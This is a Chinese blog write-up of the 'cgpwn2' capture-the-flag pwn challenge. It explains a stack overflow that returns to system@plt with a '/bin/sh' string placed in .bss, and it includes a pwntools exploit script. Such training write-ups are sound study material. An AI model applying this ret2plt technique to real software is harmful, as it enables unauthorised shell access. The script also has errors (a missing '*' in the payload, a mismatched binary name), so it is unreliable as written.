攻防世界-pwn新手区-cgpwn2

该博客探讨了一个没有PIE和Canary保护的程序,通过ida分析找到`hello`函数和`bin/sh`字符串地址,利用栈空间布局构造payload,覆盖got表中的`system`函数地址,最终实现调用`system`执行`/bin/sh`获取shell。
摘要由CSDN通过智能技术生成

先运行一下在这里插入图片描述
老规矩,checksec 和file
在这里插入图片描述
pie和canary关了
ida 查看一下
hello函数
在这里插入图片描述
name在bss段
有没有发现bin/sh
所以我们可以自己写一个shellcode
name_bin_sh = 0804A080
看一下s的栈空间

00000027                 db ? ; undefined
-00000026 s               dw ?
-00000024                 db ? ; undefined
-00000023                 db ? ; undefined
-00000022                 db ? ; undefined
-00000021                 db ? ; undefined
-00000020                 db ? ; undefined
-0000001F                 db ? ; undefined
-0000001E                 db ? ; undefined
-0000001D                 db ? ; undefined
-0000001C                 db ? ; undefined
-0000001B                 db ? ; undefined
-0000001A                 db ? ; undefined
-00000019                 db ? ; undefined
-00000018                 db ? ; undefined
-00000017                 db ? ; undefined
-00000016                 db ? ; undefined
-00000015                 db ? ; undefined
-00000014                 db ? ; undefined
-00000013                 db ? ; undefined
-00000012                 db ? ; undefined
-00000011                 db ? ; undefined
-00000010                 db ? ; undefined
-0000000F                 db ? ; undefined
-0000000E                 db ? ; undefined
-0000000D                 db ? ; undefined
-0000000C                 db ? ; undefined
-0000000B                 db ? ; undefined
-0000000A                 db ? ; undefined
-00000009                 db ? ; undefined
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)

覆盖掉就完了
payload = b’A’(0x26+4)

这里我们需要去它的got表里面找system函数
got表和plt表都是用来存储函数调用是的一些特殊地址,这个大家可以自行百度
可以用这两句代码去调用plt表

elf = ELF("cgpwn2")
system = elf.plt["system"]
from pwn import *
context(os="linux", arch="x86", log_level="debug")
elf = ELF("cgpwn2")
system_addr = elf.plt["system"]
p = process('./cpwn2')
name_bin_sh = 0x0804A080
payload = b'A'(0x26+4) + p32(system_addr) + b'a'*4 + p32(name_bin_sh)

p.recvuntil("please tell me your name")
p.sendline('/bin/sh')
p.recvuntil("hello,you can leave some message here:\n")
p.sendline(payload)
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值